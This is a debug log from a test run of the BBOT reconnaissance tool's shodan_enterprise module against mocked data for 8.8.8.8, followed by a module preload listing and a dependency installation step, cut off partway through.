[DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:19:58,931 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,931 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:19:58,932 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:19:58,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,933 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,935 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) -2026-02-27 22:19:58,935 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded -2026-02-27 22:19:58,936 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:19:58,936 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,937 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,937 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) -2026-02-27 22:19:58,938 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded -2026-02-27 22:19:58,938 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:58,938 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:19:58,940 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:19:59,007 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:19:59,008 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:59,008 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:19:59,009 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:19:59,009 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise -2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check -2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise -2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check -2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:19:59,012 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:19:59,012 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:19:59,014 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:19:59,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:19:59,014 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:19:59,015 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:19:59,015 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:19:59,015 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:19:59,016 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:19:59,116 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:19:59,117 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:19:59,137 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:19:59,138 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:19:59,139 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:19:59,146 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:19:59,147 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:19:59,148 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:19:59,149 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:19:59,149 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:19:59,150 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:19:59,272 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_9azyj11vty completed in 0 seconds with status FINISHED -2026-02-27 22:19:59,272 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:19:59,273 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:19:59,275 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:19:59,275 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:19:59,275 [CRITICAL] bbot test_module_shodan_enterprise.py:73 Found 2 TECHNOLOGY events -2026-02-27 22:19:59,276 [HUGEINFO] bbot test_module_shodan_enterprise.py:76 Technologies: ['HTTP/3', 'HSTS'] -2026-03-01 16:37:49,753 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:37:49,764 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk -2026-03-01 16:37:49,770 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk -2026-03-01 16:37:49,771 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:37:49,773 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:37:49,773 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk -2026-03-01 16:37:49,775 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk -2026-03-01 16:37:49,777 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk -2026-03-01 16:37:49,789 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk -2026-03-01 16:37:49,792 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk -2026-03-01 16:37:49,794 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk -2026-03-01 16:37:49,798 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:37:49,799 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk -2026-03-01 16:37:49,803 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:37:49,804 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk -2026-03-01 16:37:49,807 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:37:49,808 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk -2026-03-01 16:37:49,810 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk -2026-03-01 16:37:49,812 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk -2026-03-01 16:37:49,813 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk -2026-03-01 16:37:49,816 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk -2026-03-01 16:37:49,818 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk -2026-03-01 16:37:49,821 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk -2026-03-01 16:37:49,826 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk -2026-03-01 16:37:49,827 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk -2026-03-01 16:37:49,829 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk -2026-03-01 16:37:49,831 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk -2026-03-01 16:37:49,833 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk -2026-03-01 16:37:49,835 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk -2026-03-01 16:37:49,836 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk -2026-03-01 16:37:49,837 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk -2026-03-01 16:37:49,839 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk -2026-03-01 16:37:49,842 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk -2026-03-01 16:37:49,843 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk -2026-03-01 16:37:49,845 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk -2026-03-01 16:37:49,846 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk -2026-03-01 16:37:49,848 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk -2026-03-01 16:37:49,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:37:49,850 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:37:49,851 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:37:49,851 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:37:49,852 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:37:49,853 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:37:49,854 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:37:49,855 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:37:49,858 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:37:49,859 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:37:49,861 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:37:49,861 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:37:49,863 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:37:49,864 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:37:49,866 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:37:49,866 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:37:49,867 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:37:49,867 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:37:49,868 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk -2026-03-01 16:37:49,870 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk -2026-03-01 16:37:49,872 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk -2026-03-01 16:37:49,875 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk -2026-03-01 16:37:49,877 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk -2026-03-01 16:37:49,879 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk -2026-03-01 16:37:49,881 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk -2026-03-01 16:37:49,883 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk -2026-03-01 16:37:49,884 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk -2026-03-01 16:37:49,885 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk -2026-03-01 16:37:49,887 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk -2026-03-01 16:37:49,892 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk -2026-03-01 16:37:49,894 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk -2026-03-01 16:37:49,895 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk -2026-03-01 16:37:49,897 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk -2026-03-01 16:37:49,900 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk -2026-03-01 16:37:49,902 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk -2026-03-01 16:37:49,904 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk -2026-03-01 16:37:49,907 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk -2026-03-01 16:37:49,909 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk -2026-03-01 16:37:49,910 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk -2026-03-01 16:37:49,912 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk -2026-03-01 16:37:49,913 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk -2026-03-01 16:37:49,914 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk -2026-03-01 16:37:49,918 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk -2026-03-01 16:37:49,919 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk -2026-03-01 16:37:49,920 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk -2026-03-01 16:37:49,922 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk -2026-03-01 16:37:49,923 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk -2026-03-01 16:37:49,925 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk -2026-03-01 16:37:49,926 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk -2026-03-01 16:37:49,929 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk -2026-03-01 16:37:49,930 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk -2026-03-01 16:37:49,932 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk -2026-03-01 16:37:49,934 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk -2026-03-01 16:37:49,935 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk -2026-03-01 16:37:49,938 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk -2026-03-01 16:37:49,976 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk -2026-03-01 16:37:49,978 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk -2026-03-01 16:37:49,982 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk -2026-03-01 16:37:49,983 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk -2026-03-01 16:37:49,986 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk -2026-03-01 16:37:49,990 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk -2026-03-01 16:37:49,991 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk -2026-03-01 16:37:49,993 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk -2026-03-01 16:37:49,995 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk -2026-03-01 16:37:49,997 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk -2026-03-01 16:37:50,003 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk -2026-03-01 16:37:50,005 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk -2026-03-01 16:37:50,007 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk -2026-03-01 16:37:50,009 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk -2026-03-01 16:37:50,012 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk -2026-03-01 16:37:50,015 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk -2026-03-01 16:37:50,017 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk -2026-03-01 16:37:50,018 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk -2026-03-01 16:37:50,020 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk -2026-03-01 16:37:50,021 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk -2026-03-01 16:37:50,023 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk -2026-03-01 16:37:50,024 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk -2026-03-01 16:37:50,026 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk -2026-03-01 16:37:50,028 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk -2026-03-01 16:37:50,031 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk -2026-03-01 16:37:50,034 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk -2026-03-01 16:37:50,035 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk -2026-03-01 16:37:50,040 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk -2026-03-01 16:37:50,042 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk -2026-03-01 16:37:50,044 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk -2026-03-01 16:37:50,046 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk -2026-03-01 16:37:50,047 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk -2026-03-01 16:37:50,048 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk -2026-03-01 16:37:50,049 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk -2026-03-01 16:37:50,051 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk -2026-03-01 16:37:50,052 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk -2026-03-01 16:37:50,054 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk -2026-03-01 16:37:50,055 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk -2026-03-01 16:37:50,056 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk -2026-03-01 16:37:50,058 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk -2026-03-01 16:37:50,060 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk -2026-03-01 16:37:50,061 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk -2026-03-01 16:37:50,063 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk -2026-03-01 16:37:50,064 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk -2026-03-01 16:37:50,065 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk -2026-03-01 16:37:50,067 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk -2026-03-01 16:37:50,069 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk -2026-03-01 16:37:50,071 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk -2026-03-01 16:37:50,072 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk -2026-03-01 16:37:50,073 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk -2026-03-01 16:37:50,075 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk -2026-03-01 16:37:50,076 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk -2026-03-01 16:37:50,077 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk -2026-03-01 16:37:50,081 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk -2026-03-01 16:37:50,083 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk -2026-03-01 16:37:50,084 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk -2026-03-01 16:37:50,088 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk -2026-03-01 16:37:50,089 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk -2026-03-01 16:37:50,091 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk -2026-03-01 16:37:50,092 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk -2026-03-01 16:37:50,094 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk -2026-03-01 16:37:50,095 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk -2026-03-01 16:37:50,099 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk -2026-03-01 16:37:50,102 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk -2026-03-01 16:37:50,103 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk -2026-03-01 16:37:50,104 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk -2026-03-01 16:37:50,106 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk -2026-03-01 16:37:50,110 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk -2026-03-01 16:37:50,112 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk -2026-03-01 16:37:50,113 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk -2026-03-01 16:37:50,116 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk -2026-03-01 16:37:50,118 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk -2026-03-01 16:37:50,119 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk -2026-03-01 16:37:50,120 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk -2026-03-01 16:37:50,121 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk -2026-03-01 16:37:50,124 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk -2026-03-01 16:37:50,126 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk -2026-03-01 16:37:50,128 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk -2026-03-01 16:37:51,583 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:37:51,583 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:37:51,584 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:37:51,728 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:37:52,310 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:37:52,310 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:37:52,311 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:37:52,311 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:37:52,537 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:37:52,539 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:37:52,655 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:37:52,655 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:37:52,710 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:37:52,714 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:37:52,715 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:37:53,418 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:37:53,419 [INFO] bbot.core.helpers.depsinstaller installer.py:492 